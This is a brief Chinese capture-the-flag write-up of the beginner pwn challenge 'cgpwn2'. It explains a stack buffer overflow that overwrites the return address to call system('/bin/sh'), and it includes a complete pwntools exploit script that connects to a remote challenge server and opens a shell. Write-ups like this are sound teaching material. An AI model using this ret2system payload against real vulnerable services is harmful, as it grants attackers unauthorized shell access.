攻防世界: cgpwn2

这个题 也是新手入手的题 比较简单  

怎么说呢 就是一个简单的构造罢了

攻防世界: cgpwn2_第1张图片

点进hello  然后发现 

攻防世界: cgpwn2_第2张图片

然后我们点进name  

发现 name 地址是固定的 我们可以将这个写入 bin/sh 就可以了

然后看 system列表 

 

攻防世界: cgpwn2_第3张图片

这里可以看的出来  是有42个 字符  就可以 返回我们gets 的返回地址  然后  我们 只需要 讲system 搞进去 然后输入  bin/sh 就可以了  但是别忘了 输入 system 的返回地址 (这个随便输入就行)

exp 

# -*- coding: UTF-8 -*-
from pwn import*
elf=ELF('./cgpwn2')
io=remote('111.198.29.45','30983')
addr=0x804a080
io.recv()
io.sendline("/bin/sh\x00")
sys_addr=elf.symbols['system']
io.recv()
p=42*'a'+p32(sys_addr)+'a'*4+p32(addr)
io.sendline(p)
io.interactive()

 

你可能感兴趣的:(栈溢出,堆溢出)